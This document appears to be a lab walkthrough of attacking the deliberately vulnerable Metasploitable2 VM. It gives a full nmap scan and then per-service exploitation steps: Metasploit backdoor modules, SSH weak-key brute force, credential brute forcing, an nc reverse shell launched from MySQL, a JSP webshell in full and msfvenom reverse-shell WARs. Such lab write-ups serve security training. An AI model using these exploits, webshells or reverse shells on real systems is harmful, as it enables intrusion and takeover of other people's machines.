Reconnaissance
Use netdiscover to detect target IP address
Copy netdiscover -i eth0 -r 192.168.79.0/24 192.168.79.179 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.79.179 -p-
Copy e-scanning.
Initiating NSE at 15:46
Completed NSE at 15:46, 0.00s elapsed
Initiating NSE at 15:46
Completed NSE at 15:46, 0.00s elapsed
Initiating ARP Ping Scan at 15:46
Scanning 192.168.79.179 [1 port]
Completed ARP Ping Scan at 15:46, 0.00s elapsed (1 total hosts )
Initiating Parallel DNS resolution of 1 host. at 15:46
Completed Parallel DNS resolution of 1 host. at 15:46, 2.04s elapsed
Initiating SYN Stealth Scan at 15:46
Scanning 192.168.79.179 [65535 ports]
Discovered open port 21/tcp on 192.168.79.179
Discovered open port 23/tcp on 192.168.79.179
Discovered open port 80/tcp on 192.168.79.179
Discovered open port 22/tcp on 192.168.79.179
Discovered open port 3306/tcp on 192.168.79.179
Discovered open port 5900/tcp on 192.168.79.179
Discovered open port 139/tcp on 192.168.79.179
Discovered open port 111/tcp on 192.168.79.179
Discovered open port 445/tcp on 192.168.79.179
Discovered open port 53/tcp on 192.168.79.179
Discovered open port 25/tcp on 192.168.79.179
Discovered open port 2049/tcp on 192.168.79.179
Discovered open port 6697/tcp on 192.168.79.179
Discovered open port 52739/tcp on 192.168.79.179
Discovered open port 5432/tcp on 192.168.79.179
Discovered open port 513/tcp on 192.168.79.179
Discovered open port 57206/tcp on 192.168.79.179
Discovered open port 6000/tcp on 192.168.79.179
Discovered open port 514/tcp on 192.168.79.179
Discovered open port 8787/tcp on 192.168.79.179
Discovered open port 1524/tcp on 192.168.79.179
Discovered open port 1099/tcp on 192.168.79.179
Discovered open port 47980/tcp on 192.168.79.179
Discovered open port 8009/tcp on 192.168.79.179
Discovered open port 3632/tcp on 192.168.79.179
Discovered open port 2121/tcp on 192.168.79.179
Discovered open port 8180/tcp on 192.168.79.179
Discovered open port 6667/tcp on 192.168.79.179
Discovered open port 57218/tcp on 192.168.79.179
Discovered open port 512/tcp on 192.168.79.179
Completed SYN Stealth Scan at 15:46, 0.83s elapsed (65535 total ports )
Initiating Service scan at 15:46
Scanning 30 services on 192.168.79.179
Completed Service scan at 15:48, 141.15s elapsed (30 services on 1 host )
Initiating OS detection (try #1) against 192.168.79.179
NSE: Script scanning 192.168.79.179.
Initiating NSE at 15:48
Completed NSE at 15:49, 62.29s elapsed
Initiating NSE at 15:49
Completed NSE at 15:49, 1.02s elapsed
Nmap scan report for 192.168.79.179
Host is up (0.00013s latency ).
Not shown: 65505 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| _ftp-anon: Anonymous FTP login allowed (FTP code 230 )
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0 )
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| _ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
| _SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
| _ssl-date: 2016-06-22T20:48:28+00:00 ; -23s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| _ SSL2_RC4_128_EXPORT40_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
| _ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
| _http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 40038/udp mountd
| 100005 1,2,3 47980/tcp mountd
| 100021 1,3,4 36995/udp nlockmgr
| 100021 1,3,4 57218/tcp nlockmgr
| 100024 1 52739/tcp status
| _ 100024 1 60788/udp status
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP )
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP )
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 53
| Version: .0.51a-3ubuntu5
| Thread ID: 10
| Capabilities flags: 43564
| Some Capabilities: LongColumnFlag, Support41Auth, SupportsTransactions, SwitchToSSLAfterHandshake, SupportsCompression, Speaks41ProtocolNew, ConnectWithDatabase
| Status: Autocommit
| _ Salt: 0o_q:k/GUV24Mf < 6:aZ~
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 ( Ubuntu 4.2.4-1ubuntu4 ))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
| _SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
| _ssl-date: 2016-06-22T20:48:28+00:00 ; -22s from scanner time.
5900/tcp open vnc VNC (protocol 3.3 )
| vnc-info:
| Protocol version: 3.3
| Security types:
| _ Unknown security type (33554432)
6000/tcp open X11 (access denied )
6667/tcp open irc Unreal ircd
6697/tcp open irc Unreal ircd
| irc-info:
| users: 2
| servers: 1
| lusers: 2
| lservers: 0
| server: irc.Metasploitable.LAN
| version: Unreal3.2.8.1. irc.Metasploitable.LAN
| uptime: 0 days, 0:37:22
| source ident: nmap
| source host: DCF8F1B0.E9B94EC6.FFFA6D49.IP
| _ error: Closing Link: jpmvzpmdu[192.168.79.173] (Quit: jpmvzpmdu )
8009/tcp open ajp13 Apache Jserv (Protocol v1.3 )
| _ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| _http-favicon: Apache Tomcat
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: Apache-Coyote/1.1
| _http-title: Apache Tomcat/5.5
8787/tcp open drb Ruby DRb RMI (Ruby 1.8 ; path /usr/lib/ruby/1.8/drb )
47980/tcp open mountd 1-3 (RPC #100005)
52739/tcp open status 1 (RPC #100024)
57206/tcp open unknown
57218/tcp open nlockmgr 1-4 (RPC #100021)
MAC Address: 00:0C:29:B1:FE:27 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.023 days (since Wed Jun 22 15:16:04 2016 )
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty= 204 (Good luck! )
IP ID Sequence Generation: All zeros
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: < unknow n > , NetBIOS MAC: < unknow n > (unknown)
| Names:
| METASPLOITABLE <00> Flags: < uniqu e>< activ e >
| METASPLOITABLE <03> Flags: < uniqu e>< activ e >
| METASPLOITABLE <20> Flags: < uniqu e>< activ e >
| WORKGROUP <00> Flags: < grou p>< activ e >
| _ WORKGROUP < 1 e > Flags: < grou p>< activ e >
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian )
| NetBIOS computer name:
| Workgroup: WORKGROUP
| _ System time: 2016-06-22T16:48:29-04:00
TRACEROUTE
HOP RTT ADDRESS
1 0.13 ms 192.168.79.179
NSE: Script Post-scanning.
Initiating NSE at 15:49
Completed NSE at 15:49, 0.00s elapsed
Initiating NSE at 15:49
Completed NSE at 15:49, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up ) scanned in 209.95 seconds
Raw packets sent: 65555 (2.885MB) | Rcvd: 65552 (2.623MB)
vsftpd exploit (port 21):
search vsftpd
Copy msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit ( vsftpd_234_backdoor ) > set rhost 192.168.79.179
msf exploit ( vsftpd_234_backdoor ) > exploit
get the root:
postgresql exploit
get meterpreter:
Copy msf > use exploit/linux/postgres/postgres_payload
msf exploit ( postgres_payload ) > set rhost 192.168.79.179
msf exploit ( postgres_payload ) > exploit SSH exploit (port 22):
Getting access to a system with a writeable filesystem
add_ssh_key.py
Since the nmap shows the openssh version is 4.7. I googled it and find it use Openssl 0.9.8g
search openssl exploit:
searchsploit openssl
Looks like these exploits can be used. The vulnerability is CVE-2008-0166.
I use 5720.py.
First, download precalculated vulnerable keys
wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2
unzip it
tar jxf 5622.tar.bz2
run the command:
python 5720.py rsa/2048/ 192.168.79.179 root 22 5
rsa/2048 is the folder contains the keys.
Found keys:
login the box:
ssh -l root -p22 -i rsa/2048//c551f0a5d2f76d88b58b3ae90ceb617a-22002 192.168.79.179
TELNET exploit
in msfconsole, search telnet
Copy msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > set rhosts 192.168.79.179
msf auxiliary(telnet_version) > run
In the banner, shows username/password
or you can just telnet 192.168.79.179 to grab the banner.
login
telnet 192.168.79.179 -l msfadmin
Twiki (port 80)
Nagviate to port 80. there is a Twiki, search twiki, find a exploit
exploit/unix/webapp/twiki_history
Copy msf > use exploit/unix/webapp/twiki_history
msf exploit(twiki_history) > set rhost 192.168.79.179
msf exploit(twiki_history) > exploit
phpinfo.php
Use nikto, I found the page phpinfo.php is availabe.
I got the php version is 5.2.4.
search the php_cgi
found the exploit exploit/multi/http/php_cgi_arg_injection
may be the vulberable version.
Copy msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit ( php_cgi_arg_injection ) > set rhost 192.168.79.179
msf exploit ( php_cgi_arg_injection ) > exploit
SMB exploit:
Enumerate smtp:
enum4linux 192.168.79.179
looks like wide links
Copy use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set rhost 192.168.79.179
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
looks good
now use smbclient to login
smbclient //192.168.79.179/tmp
since the samba version is 3.0.20, I found this module:
exploit/multi/samba/usermap_script
Copy msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set rhost 192.168.79.179
msf exploit(usermap_script) > exploit
Unreal ircd exploit
msf > search unreal ircd
same version
Copy msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set rhost 192.168.79.179
msf exploit(unreal_ircd_3281_backdoor) > exploit
Java-rmi (port 1099)
Nmap shows port 1099 rmiregistry GNU Classpath grmiregistry
in metasploit search rmiregistry, got one exploit
exploit/multi/misc/java_rmi_server
Copy msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > set rhost 192.168.79.17
msf exploit(java_rmi_server) > exploit
msf exploit(java_rmi_server) > sessions -i 1
Remote shell (port 1524)
nothing cool,
nc 192.168.79.179 1524
Mysql exploit
Discover MySQL version:
Copy msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > set rhosts 192.168.79.179
msf auxiliary(mysql_version) > run
Brute Force MySQL Login
Copy msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set rhosts 192.168.79.179
msf auxiliary(mysql_login) > set USER_FILE /usr/share/wordlists/rockyou.txt
msf auxiliary(mysql_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf auxiliary(mysql_login) > run
get root and guest without setting password
Once get the credential, login to MySQL
mysql -h 192.168.79.179 -u root -p
In Kali setup nc:
nc -nlvp 1234
In MySQL, execute system command:
mysql> system nc 192.168.79.173 1234 -e /bin/bash
get the root:
distccd (port 3632)
search distccd, find a exploit exploit/unix/misc/distcc_exec
Copy use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set rhost 192.168.79.179
msf exploit(distcc_exec) > exploit
PostgreSQL (port 5432)
search postgresql, find a module auxiliary/scanner/postgres/postgres_login
Copy msf > use auxiliary/scanner/postgres/postgres_login
msf auxiliary(postgres_login) > set RHOSTS 192.168.79.179
msf auxiliary(postgres_login) > run
find username/password, login to postgresql.
psql -h 192.168.79.179 -U postgres
There is another exploit: exploit/linux/postgres/postgres_payload
Copy msf > use exploit/linux/postgres/postgres_payload
msf exploit(postgres_payload) > set rhost 192.168.79.17
msf exploit(postgres_payload) > exploit
VNC (port 5900)
search vnc, find a auxiliary/scanner/vnc/vnc_login
Copy msf > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) > set rhosts 192.168.79.179
msf auxiliary(vnc_login) > run
find a password:
use this password to login vnc
vncviewer 192.168.79.179
X11 (Port 6000)
search x11, find a scanner auxiliary/scanner/x11/open_x11
Copy msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > set rhosts 192.168.79.179
msf auxiliary(open_x11) > run
shows [*] 192.168.79.179:6000 - 192.168.79.179 Access Denied
now, try to login use telnet username/password to X11
ssh -X -l msfadmin 192.168.79.179
Exploit Apache Tomcat (port 8180)
use Nikto to scan
nikto -h 182.168.79.179:8180
defalut credential is found: ID ‘tomcat’, PW ‘tomcat’.
nagviate to http://192.168.79.179:8180/manager/html, input username/password, and we are in:
same shit, generate upload WAR reverse shell backdoor.
create webshell called index.jsp (from pentester lab, you may generate it using msfvenom)
Copy < FORM METHOD = GET ACTION = 'index.jsp' >
< INPUT name = 'cmd' type = text >
< INPUT type = submit value = 'Run' >
</ FORM >
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</ br >"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
< pre ><%=output %></ pre >
now pack the webshell
Copy mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
deploy it and visit http://192.168.79.179:8180/webshell/index.jsp?
use msfvenom to create webshell:
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.79.173 lport=4444 -f war > webshell1.war
setup nc in kali, deploy it and visit http://192.168.79.179:8180/webshell1/
After connection, get the shell:
python -c 'import pty; pty.spawn("/bin/bash")'
Use Metasploit:
msf > search tomcat
Copy msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > set rhost 192.168.79.179
msf exploit(tomcat_mgr_upload) > set rport 8180
msf exploit(tomcat_mgr_upload) > exploit
Ruby DRb RMI (port 8787)
search drb, find an exploit exploit/linux/misc/drb_remote_codeexec
Copy msf > use exploit/linux/misc/drb_remote_codeexec
msf exploit(drb_remote_codeexec) > set uri druby://192.168.79.179:8787
msf exploit(drb_remote_codeexec) > exploit
